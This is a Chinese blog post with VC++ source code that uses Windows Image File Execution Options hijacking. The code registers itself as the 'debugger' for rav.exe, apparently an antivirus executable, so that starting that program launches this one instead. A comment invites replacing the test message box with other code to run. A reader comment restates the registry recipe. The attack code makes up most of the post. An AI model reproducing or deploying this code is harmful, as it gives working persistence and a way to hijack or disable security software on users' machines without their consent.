`

VC++实现镜像劫持(360保险箱启动原理)

    博客分类:
  • VC
阅读更多

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[])
{
	char temp[256];
	DWORD ret;
	LPCTSTR szRegKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; //定义字符串指针,保存映像劫持的键位
	HKEY h_KEY;
	if(argc!=1)   //如果参数不是1个,提取第2个参数,也就是被劫持程序的路径
	{
		memset(temp,0,256);
		strcpy(temp,argv[1]);   
		for(int i=0;i<strlen(temp);i++)    //将路径中的\换为/,也可以换为\\,就是代码长了点
		{
			if(temp[i]=='\\')
				temp[i]='/';
		}         
		ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); //打开注册表中需要映像劫持的子键获得句柄
		if(ret==ERROR_SUCCESS)
		{
			printf("open ok!\n");
			if(ERROR_SUCCESS==RegDeleteKey(h_KEY,"rav.exe")) //将上面打开的子键下的rav子键删除
			{
				printf("delete ok!\n");
				RegCloseKey(h_KEY);
				WinExec(temp,SW_SHOW);    //运行被劫持的程序
			}
			else
			{
				printf("delete failed!\n");
				RegCloseKey(h_KEY);
			}   
		}
		else
			printf("open failed!\n");
	}
	memset(temp,0,256);
	GetModuleFileName(NULL,temp,256);   //得到程序自己的路径,为下面写入注册表做准备
	HKEY hResultKey = NULL;
	if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY))  //打开注册表中映像劫持的子键,获得句柄
	{
		DWORD dw;
		ret = RegCreateKeyEx(h_KEY,"rav.exe", 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw);  //在上面打开的子键下创建rav子键并打开,获得句柄
		if (ret!=ERROR_SUCCESS)
		{
			RegCloseKey(h_KEY);
			printf("creat failed!\n");
			return 1;
		}
		printf("creat ok!\n");
		ret=RegSetValueEx(hResultKey,"debugger",0,REG_SZ,(const BYTE *)temp,strlen(temp)+1);   //在rav键上创建debugger键并设置值为本程序的路径用于映像劫持
		if(ret!=ERROR_SUCCESS)
		{
			RegCloseKey(h_KEY);
			RegCloseKey(hResultKey);
			return 1;
		}
		RegCloseKey(h_KEY);
		RegCloseKey(hResultKey);
		printf("set ok!\n");
	}
	MessageBox(NULL,"ok!","成功!",MB_OK);    //用于测试程序,可换为其他需要执行代码


	return 0;
}
 
分享到:
评论
1 楼 andylin02 2009-08-27  
简单一点说,实现是非常的简单就是在注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
下面建立一个以exe的名字"的项,同时在该项下建立一个名字为debugger的子项,该内容为您需要重定向执行的exe全路径。

相关推荐

    VC++数字图像处理之图像镜像

    VC++数字图像处理之图像镜像,实现了图像的水平镜像和垂直镜像 注:本资源和之前博客上资源是连贯的,代码功能是不断的增加的,如果下载了这次的,前面的资源就不用下载了,因为这个代码已经包含了前面的示例代码

    vc++实现图像处理:中值滤波

    本篇文章将详细讲解如何使用VC++实现这一算法,并结合《冈萨雷斯图像处理》一书中的理论进行阐述。 中值滤波器的基本思想是将图像中的每一个像素点替换为其周围邻域内像素值的中值。相比于均值滤波,中值滤波对噪声...

    图像平滑处理,VC++实现

    在给定的“图像平滑处理,VC++实现”项目中,我们可以了解到如何使用C++编程语言来实现这一功能。以下是对这个主题的详细阐述: 首先,图像平滑处理通常通过滤波器来实现,常见的滤波器有均值滤波器、高斯滤波器和...

    VC++ 实现基本的数字图像处理

    在本项目中,"VC++ 实现基本的数字图像处理"是通过Microsoft Visual C++(VC++)开发环境,利用OpenCV库实现了一系列图像处理功能的MFC(Microsoft Foundation Classes)应用程序。MFC是一个C++类库,它为构建...

    vc++实现图像的处理与变换的程序

    在VC++环境中实现图像处理与变换的程序是一个涵盖多个计算机视觉和编程技术的项目。这个程序的核心在于利用图像处理库,如OpenCV,来进行图像的读取、显示、操作和保存。下面将详细讨论相关知识点。 1. **基础概念*...

    vc++6.0英文原版镜像文件下载地址

    ### VC++6.0英文原版镜像文件下载及使用指南 #### 一、简介 Microsoft Visual C++ 6.0(简称VC++6.0)是微软在1998年发布的一款集成开发环境(IDE),它支持C、C++和MFC编程。VC++6.0因其强大的功能、稳定的表现...

    VC++实现玻璃特效按钮

    本文将深入探讨如何使用VC++6.0实现这种特效按钮,以及涉及的相关知识点。 首先,玻璃特效主要依赖于透明度和反射效果。在VC++6.0中,我们通常使用GDI(Graphics Device Interface)或者GDI+来处理图形绘制。GDI...

    二维基本图形几何变换算法(用VC++实现)

    二维基本图形几何变换是计算机图形学中的重要概念,...通过VC++实现这些变换,不仅能加深对几何变换原理的理解,还能锻炼编程能力。在实际项目中,理解并掌握这些变换算法,对于创建动态、交互式的图形应用至关重要。

    针对病毒镜像劫持的修复工具

    在IT安全领域,"镜像劫持"是一种恶意软件攻击技术,主要针对杀毒软件,目的是使这些防护软件失效,从而使病毒、木马等恶意程序得以在系统中自由活动。这种攻击方式通常涉及到系统底层的驱动级编程,使得病毒能够控制...

    WIN 98启动盘 软盘镜像IMG

    WIN 98启动盘 软盘镜像IMGWIN 98启动盘 软盘镜像IMGWIN 98启动盘 软盘镜像IMGWIN 98启动盘 软盘镜像IMG

    纯DOS启动镜像文件

    纯DOS启动镜像文件是计算机操作系统的早期形式,它完全基于DOS系统,不包含任何Windows或其他图形用户界面。这种启动方式对于某些特定的系统维护、老式硬件的兼容或者软件安装等任务非常有用。在本文中,我们将深入...

    U盘启动制作(可以通过镜像文件制作U盘系统启动电脑)

    【U盘启动制作】是一种将普通U盘转化为可引导启动的工具,用于在电脑无法正常启动或需要安装操作系统时,通过U盘来启动并执行修复或安装任务。这个过程涉及到计算机启动原理、BIOS/UEFI设置以及相关软件的使用。 1....

    基于VC++的数字图像处理之图像镜像

    基于VC++的数字图像处理之图像镜像基于VC++的数字图像处理之图像镜像基于VC++的数字图像处理之图像镜像基于VC++的数字图像处理之图像镜像基于VC++的数字图像处理之图像镜像基于VC++的数字图像处理之图像镜像

    ISO光盘镜像启动(不刻录镜像文件也可光盘启动)

    在本主题中,我们将详细探讨如何不通过刻录ISO镜像到物理光盘,而是直接利用硬盘上的ISO文件来实现电脑的启动。 首先,我们需要理解启动过程。计算机在开机时会寻找启动设备,通常按照BIOS或UEFI设置的顺序检查硬盘...

    端口镜像——实现流量分析监控的原理.doc

    端口镜像——实现流量分析监控的原理 端口镜像是指将经过指定端口(源端口或者镜像端口)的报文复制一份到另一个指定端口(目的端口或者观察端口)。目的:在网络运营与维护的过程中,为了便于业务监测和故障定位,...

Global site tag (gtag.js) - Google Analytics